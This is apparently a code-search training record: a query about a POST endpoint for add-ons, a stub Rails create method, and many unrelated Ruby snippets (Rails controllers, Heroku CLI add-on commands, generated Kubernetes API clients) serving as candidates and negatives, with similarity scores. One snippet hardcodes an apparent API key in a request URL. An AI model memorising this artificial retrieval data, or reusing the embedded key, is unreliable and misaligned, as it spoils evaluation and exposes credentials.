"def get_addons(app=nil)\n path = if app\n \"/apps/#{app}/addons\"\n else\n \"/addons\"\n end\n request(\n :expects => 200,\n :method => :get,\n :path => path\n )\n end",
"def get_clients_addons(params = {})\n\t\tparams.merge!(:action => 'getclientsaddons')\n\t\tsend_request(params)\n\tend",
"def index\n validate_arguments!\n\n installed = api.get_addons(app).body\n if installed.empty?\n display(\"#{app} has no add-ons.\")\n else\n available, pending = installed.partition { |a| a['configured'] }\n\n unless available.empty?\n styled_header(\"#{app} Configured Add-ons\")\n styled_array(available.map do |a|\n [a['name'], a['attachment_name'] || '']\n end)\n end\n\n unless pending.empty?\n styled_header(\"#{app} Add-ons to Configure\")\n styled_array(pending.map do |a|\n [a['name'], app_addon_url(a['name'])]\n end)\n end\n end\n end",
"def index\n installed = heroku.installed_addons(app)\n if installed.empty?\n display \"No addons installed\"\n else\n available, pending = installed.partition { |a| a['configured'] }\n\n available.map do |a|\n if a['attachment_name']\n a['name'] + ' => ' + a['attachment_name']\n else\n a['name']\n end\n end.sort.each do |addon|\n display(addon)\n end\n\n unless pending.empty?\n display \"\\n--- not configured ---\"\n pending.map { |a| a['name'] }.sort.each do |addon|\n display addon.ljust(24) + \"http://#{heroku.host}/myapps/#{app}/addons/#{addon}\"\n end\n end\n end\n end",
"def addons\n []\n end",
"def list\n addons = heroku.addons(options)\n if addons.empty?\n display \"No addons available currently\"\n else\n partitioned_addons = partition_addons(addons)\n partitioned_addons.each do |key, addons|\n partitioned_addons[key] = format_for_display(addons)\n end\n display_object(partitioned_addons)\n end\n end",
"def show\n respond_to do |format|\n format.json {render :json => @addon_list_item.to_json }\n end\n end",
"def index\n @user_addons = UserAddon.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @user_addons }\n end\n end",
"def default_addons\n []\n end",
"def index\n @addons_combos = AddonsCombo.all\n end",
"def list_addons\n Dir.glob(\"/var/lib/apollo/addons/*.gem\")\n end",
"def addons(app_env)\n app_setting_list('addons', app_env)\n end",
"def list_disponible_addons()\n list = Array.new\n addons = Array.new\n filename = \"\"\n file = \"\"\n\n Dir.foreach(@addons_xml) { |x| \n if !@no_way.index(x)\n list.push x \n end\n }\n\n list.each do |l|\n if !@no_way.index(l)\n filename.concat(@addons_xml)\n filename << \"/\" << l\n\n file = File.new( filename , \"r\")\n addons.push OFAddon.new(file)\n\n file = nil\n filename = \"\"\n end\n\n end\n\n return addons\n end",
"def repo1\n addons = Addon.where(\"lower(repos.name) = ?\", params[:repo_name].downcase)\n render json: to_v1_repo_hashes(addons)\n end",
"def index\n @apps = Addon.all\n end",
"def list\n addons = heroku.addons\n if addons.empty?\n display \"No addons available currently\"\n else\n available, beta = addons.partition { |a| !a['beta'] }\n display_addons(available)\n if !beta.empty?\n display \"\\n--- beta ---\"\n display_addons(beta)\n end\n end\n end",
"def set_addons_combo\n @addons_combo = AddonsCombo.find(params[:id])\n end",
"def set_addon\n @addon = Addon.find(params[:id])\n end",
"def set_addon\n @addon = Addon.find(params[:id])\n end",
"def get_kubernetes_addon_repository_by_moid_with_http_info(moid, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: KubernetesApi.get_kubernetes_addon_repository_by_moid ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling KubernetesApi.get_kubernetes_addon_repository_by_moid\"\n end\n # resource path\n local_var_path = '/api/v1/kubernetes/AddonRepositories/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'text/csv', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'KubernetesAddonRepository'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"KubernetesApi.get_kubernetes_addon_repository_by_moid\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: KubernetesApi#get_kubernetes_addon_repository_by_moid\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def fetch_experiment(id)\n url = @base + \"experiments/#{id}.json?token=#{@token}\"\n puts url\n response = JSON.parse(RestClient.get(url))\nend",
"def index\n @extensions = Extension.all\n end",
"def index\n @addon_list_items = AddonListItem.all\n end",
"def index\n \n @store_detail = StoreDetail.find(params[:store_detail_id])\n puts(\"methods are vvv\" ,@store_detail.methods)\n @addons = @store_detail.addons\n \n end",
"def set_addon\n @addon = Addon.all.find {|a| a.name == params[:id]}\n end",
"def show\n @store_detail = StoreDetail.find(params[:store_detail_id])\n @addon = @store_detail.addons.find(params[:id])\n end",
"def addons(app_env)\n addons_hash = {}\n app_setting_list('addons', app_env).each do |setting|\n name, slug = setting.split(':')\n addons_hash[name] = slug\n end\n addons_hash\n end",
"def show\n @extension_versions_urls = @extension.sorted_extension_versions.map do |version|\n api_v1_extension_version_url(@extension, version)\n end\n end",
"def list_installed_addons()\n list = Array.new\n addons = Array.new\n \n Dir.foreach(@addons) {|x| list.push x }\n \n list.each do |l|\n if !@no_way.index(l)\n addons.push l\n end\n end\n \n return addons\n end",
"def index\n respond_with Extension.all\n end",
"def addon_params\n params.require(:xmt_addon).permit!\n end",
"def get_kubernetes_addon_definition_by_moid_with_http_info(moid, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: KubernetesApi.get_kubernetes_addon_definition_by_moid ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling KubernetesApi.get_kubernetes_addon_definition_by_moid\"\n end\n # resource path\n local_var_path = '/api/v1/kubernetes/AddonDefinitions/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'text/csv', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'KubernetesAddonDefinition'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"KubernetesApi.get_kubernetes_addon_definition_by_moid\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: KubernetesApi#get_kubernetes_addon_definition_by_moid\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def index\n @specialties = Specialty.all\n\n render json: @specialties\n end",
"def index\n @dexterity_mods = DexterityMod.all\n\n render json: @dexterity_mods\n end",
"def index\n if api_request?\n @shop_special_offers = Shop::SpecialOffer.buyable_by_character(current_character)\n else\n @shop_special_offers = Shop::SpecialOffer.all\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: include_root(@shop_special_offers, :special_offer) }\n end\n end",
"def index\n @panel_subscriptions = Panel::Subscription.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @panel_subscriptions }\n end\n end",
"def index\n @invoice_addon_line_items = InvoiceAddonLineItem.all\n end",
"def index\n @extras = Extra.all\n\n render json: @extras\n end",
"def index\n @admin_skills = Admin::Skill.all\n\n render json: @admin_skills\n end",
"def index\n @api_v1_stores = Store.all\n json_response(@api_v1_stores)\n end",
"def show\n @server = Server.find(params[:id])\n add_breadcrumb @server.name, [@server]\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @server.to_json(:include => { :websites => {:include => :plugins } }) }\n end\n end",
"def index\n @hooks = Hook.all\n respond_with(@hooks)\n end",
"def load_addons\n # load ~/.straight/addons.yml\n addons = YAML.load_file(STRAIGHT_CONFIG_PATH + '/addons.yml')\n addons.each do |name, addon|\n StraightServer.logger.info \"Loading #{name} addon\"\n if addon['path'] # First, check the ~/.straight/addons dir\n require STRAIGHT_CONFIG_PATH + '/' + addon['path']\n else # then assume it's already loaded using rubygems\n require name\n end\n # extending the current server object with the addon\n extend Kernel.const_get(\"StraightServer::Addon::#{addon['module']}\")\n end if addons\n end",
"def list_active_aos_versions(args = {}) \n get(\"/aosversions.json/\", args)\nend",
"def set_addon\n @addon_list_item = AddonListItem.find(params[:id])\n end",
"def index\n @servers = Server.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @servers.to_json(:include => { :websites => {:include => :plugins } }) }\n end\n end",
"def user_repos1\n addons = Addon.joins(:user).where(\"lower(users.login) = ?\", params[:login].downcase)\n render json: to_v1_repo_hashes(addons)\n end",
"def get_kubernetes_addon_policy_by_moid_with_http_info(moid, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: KubernetesApi.get_kubernetes_addon_policy_by_moid ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling KubernetesApi.get_kubernetes_addon_policy_by_moid\"\n end\n # resource path\n local_var_path = '/api/v1/kubernetes/AddonPolicies/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'text/csv', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'KubernetesAddonPolicy'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"KubernetesApi.get_kubernetes_addon_policy_by_moid\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: KubernetesApi#get_kubernetes_addon_policy_by_moid\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def index\n @tools = Tool.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tools }\n end\n end",
"def show\n @extension_line = ExtensionLine.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @extension_line }\n end\n end",
"def index\n @labs = Lab.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @labs }\n end\n end",
"def index\n @labs = Lab.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @labs }\n end\n end",
"def show\n @user_addon = UserAddon.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user_addon }\n end\n end",
"def listex\n url = prefix + \"listex\"\n return response(url)\n end",
"def fetch_experiments(page)\n puts page\n url = @base + \"/api/v1/experiments.json?token=#{@token}&page=#{page}\"\n response = JSON.parse(RestClient.get(url))\nend",
"def get_addons\n res = product_options.map { |po| po.name }.join(', ')\n unless res.blank?\n res = \"(#{res})\"\n end\n res\n end",
"def index\n @user_exts = UserExt.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @user_exts }\n end\n end",
"def activatedAddons \n \"activatedAddons\" \n end",
"def user_repo1\n addon = Addon.joins(:user)\n .where(\"lower(users.login) = ?\", params[:login].downcase)\n .where(\"lower(repos.name) = ?\", params[:repo_name].downcase)\n .first\n render json: to_v1_repo_hash(addon)\n end",
"def index\n\n begin\n\n @accounts = Account.active\n render json: @accounts.to_json(:except=>:password, :methods => [:subdomains, :template] )\n\n rescue => e\n render :json => e.message, :status => :unprocessable_entity\n end\n\n end",
"def index\n @add_ons = @game.add_ons.all\n end",
"def index\n @components = CustomComponent.where(:active => true)\n render json: @components\n end",
"def show\n @moretinymobtrail = Moretinymobtrail.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @moretinymobtrail }\n end\n end",
"def all_addons\n @all_addons ||= all_rails_engines.select do |engine|\n engine.methods.include?(:addon_name)\n end\n end",
"def open\n addon = args.shift\n app_addons = heroku.installed_addons(app).map { |a| a[\"name\"] }\n matches = app_addons.select { |a| a =~ /^#{addon}/ }\n\n case matches.length\n when 0 then\n if heroku.addons.any? {|a| a['name'] =~ /^#{addon}/ }\n error \"Addon not installed: #{addon}\"\n else\n error \"Unknown addon: #{addon}\"\n end\n when 1 then\n addon_to_open = matches.first\n display \"Opening #{addon_to_open} for #{app}...\"\n Launchy.open \"https://api.#{heroku.host}/myapps/#{app}/addons/#{addon_to_open}\"\n else\n error \"Ambiguous addon name: #{addon}\"\n end\n end",
"def index\n @offers = Offer.all\n respond_to do |format|\n format.jsonapi { render jsonapi: @offers }\n format.html { @offers }\n end\n end",
"def show\n json_response(@api_v1_store)\n end",
"def listex\n url = prefix + \"listex\"\n return response(url)\n end",
"def index\n @api_v1_exercises = Api::V1::Exercise.all\n end",
"def index\n @choices = Choice.all\n\n render json: @choices\n end",
"def index\n @coins = Coin.all\n render \"index.json.jbuilder\"\n end",
"def index\n @api_versions = ApiVersion.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @api_versions }\n end\n end",
"def series_get(id)\n begin\n api = \"#{$config['sonarr']['api_url']}/series/#{id}\"\n log_debug(api)\n uri = URI(api)\n http = Net::HTTP.new(uri.host, uri.port)\n req = Net::HTTP::Post.new(uri.path, 'Content-Type' => 'application/json', 'X-Api-Key'=> $config['sonarr']['api_key'])\n \n json = {}\n json['id'] = id\n \n req.body = json.to_json\n res = http.request(req) \n json = JSON.parse(res.body)\n debug json\n rescue => e\n puts \"failed #{e}\"\n end\n end",
"def index\n @money = Money.all\n require 'net/http'\n require 'json'\n @url = 'https://api.coinmarketcap.com/v1/ticker/'\n @uri = URI(@url)\n @response = Net::HTTP.get(@uri)\n @lookup_money = JSON.parse(@response)\n end",
"def index\n @food_item_add_ons = FoodItemAddOn.all\n end",
"def index\n @api_v1_items = Item.all\n render json: @api_v1_items\n end",
"def index\n @subthemes = Subtheme.all\n\n render json: @subthemes\n end",
"def json_index_bundles\n\n @bundles = Bundle.where(\"active = 'y'\").order(:id)\n respond_to do |format|\n format.json { render json: @bundles.as_json()\n\n }\n end\n\n end",
"def index\n response = HTTParty.get(\"https://casa-core.herokuapp.com/api/units\", :headers => { \"Authorization\" => AUTH, \"Host\" => HOST})\n @units = JSON.parse(response.body)\n return @units\n end",
"def addon_params\n params.require(:addon).permit(:description, :explanation, :category, :url)\n end",
"def index\n render json: current_user.api_keys.api.active, status: 200\n end",
"def index\n @extension_types = ExtensionType.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @extension_types }\n end\n end",
"def get_kubernetes_cluster_addon_profile_by_moid_with_http_info(moid, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: KubernetesApi.get_kubernetes_cluster_addon_profile_by_moid ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling KubernetesApi.get_kubernetes_cluster_addon_profile_by_moid\"\n end\n # resource path\n local_var_path = '/api/v1/kubernetes/ClusterAddonProfiles/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'text/csv', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'KubernetesClusterAddonProfile'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"KubernetesApi.get_kubernetes_cluster_addon_profile_by_moid\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: KubernetesApi#get_kubernetes_cluster_addon_profile_by_moid\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def index\n json = HTTParty.get(\"https://api.typeform.com/v1/form/WaIffL?key=f486f2db8f1249c077a08b582bc3efe0a2617668\").body\n\n @jsontests = JSON.parse(json)\n\n end",
"def main_page_api\n @url = 'https://api.coinmarketcap.com/v1/ticker/'\n @uri = URI(@url)\n @response = Net::HTTP.get(@uri)\n # converts response to a Ruby hash \n @coins = JSON.parse(@response)\n @my_coins = [\"XLM\", \"BTC\", \"ADA\", \"STEEM\", \"ETH\"] \n end",
"def index\n @modifications = Modification.all\n\n render json: @modifications\n end",
"def update\n respond_to do |format|\n if @addons_combo.update(addons_combo_params)\n format.html { redirect_to @addons_combo, notice: 'Addons combo was successfully updated.' }\n format.json { render :show, status: :ok, location: @addons_combo }\n else\n format.html { render :edit }\n format.json { render json: @addons_combo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @silent_installs = SilentInstall.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @silent_installs }\n end\n end",
"def show\n @backend_tutorial_stat = Backend::TutorialStat.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @backend_tutorial_stat }\n end\n end",
"def index\n @group_addon_lists = GroupAddonList.all\n end",
"def fetchInstallations(token)\n url = URI(\"https://api.acceptance.hertekconnect.nl/api/v1/installations\")\n\n http = Net::HTTP.new(url.host, url.port);\n http.use_ssl = true\n request = Net::HTTP::Get.new(url)\n request[\"Content-Type\"] = \"application/json\"\n request[\"Authorization\"] = \"Bearer #{token}\"\n\n response = http.request(request)\n puts response.read_body\nend",
"def index\n @taxes = Tax.all\n\n render json: @taxes\n end",
"def index\n @plugs = Plug.all\n authorize! :read, @plug\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @plugs }\n format.xml # { render json: @plugs }\n end\n end",
"def index\n @admin_versions = Admin::Version.all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @admin_versions }\n end\n end",
"def getex\n url = prefix + \"getex\"\n return response(url)\n end",
"def getex\n url = prefix + \"getex\"\n return response(url)\n end",
"def index\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @account_units }\n end\n end",
"def index\n @subscriptions = current_user.subscriptions.order(:created_at)\n @user = current_user\n\n if not current_user.fitbit.nil?\n begin\n @fitbit_subscriptions = JSON.parse(current_user.fitbit.client.get('/1/user/-/apiSubscriptions.json').body)['apiSubscriptions']\n rescue SocketError\n logger.error \"Can not talk to fitbit\"\n end\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @subscriptions }\n end\n end",
"def show\n json_response(@api_v1_product)\n end",
"def show\n @core_nota = Core::Nota.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @core_nota }\n end\n end",
"def index\n @extended_warranties = ExtendedWarranty.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @extended_warranties }\n end\n end"
] |
[
"0.7693937",
"0.6852981",
"0.6600357",
"0.65311754",
"0.6410955",
"0.6270688",
"0.624708",
"0.62325245",
"0.61582595",
"0.60578936",
"0.605743",
"0.6051019",
"0.5899223",
"0.5875562",
"0.58252865",
"0.58218765",
"0.5820797",
"0.57615274",
"0.57615274",
"0.57105094",
"0.5677284",
"0.56740737",
"0.56724185",
"0.5650411",
"0.56488425",
"0.5584331",
"0.55363154",
"0.5506147",
"0.5505046",
"0.5465911",
"0.54434425",
"0.5442938",
"0.5428605",
"0.54012465",
"0.53798026",
"0.53729814",
"0.5356705",
"0.534975",
"0.534304",
"0.5340238",
"0.5324814",
"0.53242725",
"0.53215575",
"0.5304307",
"0.5301737",
"0.5276139",
"0.52760273",
"0.5270738",
"0.5264144",
"0.52605647",
"0.52580035",
"0.52580035",
"0.52521807",
"0.5245139",
"0.5237348",
"0.5205559",
"0.51818496",
"0.5176023",
"0.51646334",
"0.5163438",
"0.51626974",
"0.5154408",
"0.5148677",
"0.514726",
"0.514628",
"0.5145425",
"0.5143376",
"0.5139289",
"0.5136045",
"0.51318073",
"0.51249826",
"0.51195616",
"0.51160306",
"0.5108456",
"0.5104952",
"0.5103204",
"0.5102713",
"0.5102461",
"0.5061274",
"0.5049862",
"0.5046917",
"0.5044623",
"0.50426424",
"0.5042173",
"0.50411594",
"0.5033484",
"0.5024392",
"0.50235164",
"0.5022472",
"0.5022206",
"0.5017293",
"0.5012324",
"0.50049114",
"0.50041634",
"0.50018513",
"0.50018513",
"0.5001722",
"0.49947733",
"0.49922276",
"0.49919134",
"0.49853897"
] |
0.0
|
-1
|
POST /xmt/addons POST /xmt/addons.json
|
def create
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def addon_params\n params.require(:xmt_addon).permit!\n end",
"def get_addons(app=nil)\n path = if app\n \"/apps/#{app}/addons\"\n else\n \"/addons\"\n end\n request(\n :expects => 200,\n :method => :get,\n :path => path\n )\n end",
"def addon_params\n params.require(:addon).permit(:description, :explanation, :category, :url)\n end",
"def create\n \n @store_detail = StoreDetail.find(params[:store_detail_id])\n @addon = @store_detail.addons.build(params.require(:addon).permit(:addonName, :addonType, :addonSize, :actualPrice, :offerPrice, :quantityAvailable, :hit)) \n # @addon = StoreDetail.find(params[:store_detail_id]).addonDetails.build(params.require(:addon).permit(:addonName, :addonType, :addonSize, :actualPrice, :offerPrice, :quantityAvailable, :hit)) \n\n respond_to do |format|\n if @addon.save\n format.html { redirect_to store_detail_addons_url, notice: 'addon detail was successfully created.' }\n format.json { render :show, status: :created, location: @addon }\n else\n format.html { render :new }\n format.json { render json: @addon.errors, status: :unprocessable_entity }\n end\n end\n end",
"def addon_params\n params.require(:addon).permit(:addonName, :addonType, :addonSize, :actualPrice, :offerPrice, :quantityAvailable, :hit)\n end",
"def addons\n []\n end",
"def enable!( addons )\n Addon.all.destroy\n addons.each { |addon| Addon.create( :name => addon ); run( [addon] ) }\n end",
"def get_clients_addons(params = {})\n\t\tparams.merge!(:action => 'getclientsaddons')\n\t\tsend_request(params)\n\tend",
"def addons(app_env)\n app_setting_list('addons', app_env)\n end",
"def create\n @addons_combo = AddonsCombo.new(addons_combo_params)\n\n respond_to do |format|\n if @addons_combo.save\n format.html { redirect_to @addons_combo, notice: 'Addons combo was successfully created.' }\n format.json { render :show, status: :created, location: @addons_combo }\n else\n format.html { render :new }\n format.json { render json: @addons_combo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add(params)\n headers = {\n 'Cookie' => @context[:koha_rest_api_cookie],\n 'Content-Type' => 'application/json'\n }\n\n http = Net::HTTP.new(\"xkoha\", 8081)\n uri = URI(intranet(:koha_rest_api) + \"patrons\")\n res = http.post(uri, params.to_json, headers)\n expect(res.code).to eq(\"201\"), \"got unexpected #{res.code} when adding patron.\\nResponse body: #{res.body}\"\n res.body\n end",
"def create\n addon = lookup_external_id_in_addons(params)\n if addon[:result] == 'success'\n render json: { subscriber: update_subscriber(addon[:external_id].merge(params)) || {} }\n else\n render json: { subscriber: addon.to_json }\n end\n end",
"def addon_params\n params.require(:addon_list_item_item).permit(:name, :user_id, :addon_list_id, :addon_id)\n end",
"def default_addons\n []\n end",
"def setup_addons\n authorize unless @heroku\n each_heroku_app do |heroku_env, app_name, repo|\n # get the addons that we are aiming towards\n addons = @config.addons(heroku_env)\n\n # get the addons that are already on the servers\n existing_addons = (@heroku.installed_addons(app_name) || []).map{|a| a[\"name\"]}\n\n # all apps need the shared database\n addons << \"shared-database:5mb\" unless addons.index(\"shared-database:5mb\") || addons.index(\"shared-database:20gb\")\n\n # add \"custom_domains\" if that addon doesnt already exist\n # and we have domains configured for this app\n addons << \"custom_domains:basic\" unless @config.domains(heroku_env).empty? or\n addons.any?{|a| a =~ /custom_domains/} or\n existing_addons.any?{|a| a =~ /custom_domains/}\n\n # remove the addons that need to be removed\n existing_addons.each do |existing_addon|\n # check to see if we need to delete this addon\n unless addons.include?(existing_addon)\n # delete this addon if they arent on the approved list\n destroy_command \"heroku addons:remove #{existing_addon} --app #{app_name}\"\n end\n end\n\n # add the addons that dont exist already\n addons.each do |addon|\n # check to see if we need to add this addon\n unless existing_addons.include?(addon)\n # add this addon if they are not already added\n creation_command \"heroku addons:add #{addon} --app #{app_name}\"\n end\n end\n\n # display the destructive commands\n output_destroy_commands(app_name)\n end\n end",
"def index\n validate_arguments!\n\n installed = api.get_addons(app).body\n if installed.empty?\n display(\"#{app} has no add-ons.\")\n else\n available, pending = installed.partition { |a| a['configured'] }\n\n unless available.empty?\n styled_header(\"#{app} Configured Add-ons\")\n styled_array(available.map do |a|\n [a['name'], a['attachment_name'] || '']\n end)\n end\n\n unless pending.empty?\n styled_header(\"#{app} Add-ons to Configure\")\n styled_array(pending.map do |a|\n [a['name'], app_addon_url(a['name'])]\n end)\n end\n end\n end",
"def index\n installed = heroku.installed_addons(app)\n if installed.empty?\n display \"No addons installed\"\n else\n available, pending = installed.partition { |a| a['configured'] }\n\n available.map do |a|\n if a['attachment_name']\n a['name'] + ' => ' + a['attachment_name']\n else\n a['name']\n end\n end.sort.each do |addon|\n display(addon)\n end\n\n unless pending.empty?\n display \"\\n--- not configured ---\"\n pending.map { |a| a['name'] }.sort.each do |addon|\n display addon.ljust(24) + \"http://#{heroku.host}/myapps/#{app}/addons/#{addon}\"\n end\n end\n end\n end",
"def set_addon\n @addon = Addon.find(params[:id])\n end",
"def set_addon\n @addon = Addon.find(params[:id])\n end",
"def set_addons_combo\n @addons_combo = AddonsCombo.find(params[:id])\n end",
"def addons(app_env)\n addons_hash = {}\n app_setting_list('addons', app_env).each do |setting|\n name, slug = setting.split(':')\n addons_hash[name] = slug\n end\n addons_hash\n end",
"def create\n @addon_list_item = AddonListItem.new(addon_params)\n\n respond_to do |format|\n if @addon_list_item.save\n format.json { render :show, status: :created, location: @addon_list_item }\n else\n format.json { render json: @addon_list_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def list\n addons = heroku.addons(options)\n if addons.empty?\n display \"No addons available currently\"\n else\n partitioned_addons = partition_addons(addons)\n partitioned_addons.each do |key, addons|\n partitioned_addons[key] = format_for_display(addons)\n end\n display_object(partitioned_addons)\n end\n end",
"def list_disponible_addons()\n list = Array.new\n addons = Array.new\n filename = \"\"\n file = \"\"\n\n Dir.foreach(@addons_xml) { |x| \n if !@no_way.index(x)\n list.push x \n end\n }\n\n list.each do |l|\n if !@no_way.index(l)\n filename.concat(@addons_xml)\n filename << \"/\" << l\n\n file = File.new( filename , \"r\")\n addons.push OFAddon.new(file)\n\n file = nil\n filename = \"\"\n end\n\n end\n\n return addons\n end",
"def index\n @user_addons = UserAddon.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @user_addons }\n end\n end",
"def add_aos_version(args = {}) \n post(\"/aosversions.json/\", args)\nend",
"def add_tenant_circle(args = {}) \n post(\"/tenantcircles.json/\", args)\nend",
"def post_webhook\n HTTParty.post(\n \"https://api.trello.com/1/tokens/#{user.token}/webhooks/?key=#{ENV['TRELLO_KEY']}\",\n query: {\n description: \"Sprint webhook user#{user.id}\",\n callbackURL: \"#{ENV['BASE_URL']}webhooks\",\n idModel: trello_ext_id\n },\n headers: { \"Content-Type\" => \"application/json\" }\n )\n end",
"def set_addon\n @addon = Addon.all.find {|a| a.name == params[:id]}\n end",
"def create\n @extension = Extension.new(extension_params)\n\n respond_to do |format|\n if @extension.save\n format.html { redirect_to request.referrer, notice: 'Extension was successfully created.' }\n format.json { render :show, status: :created, location: @extension }\n else\n format.html { render :new }\n format.json { render json: @extension.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\n @extension = Extension.new(extension_params)\n @user = User.find(session[:user_id]) \n \n respond_to do |format|\n if @extension.save\n @user.extensions << @extension\n format.html { redirect_to @extension, notice: 'La actividad se registro con exito.' }\n format.json { render :show, status: :created, location: @extension }\n else\n format.html { render :new }\n format.json { render json: @extension.errors, status: :unprocessable_entity }\n end\n end\n \n end",
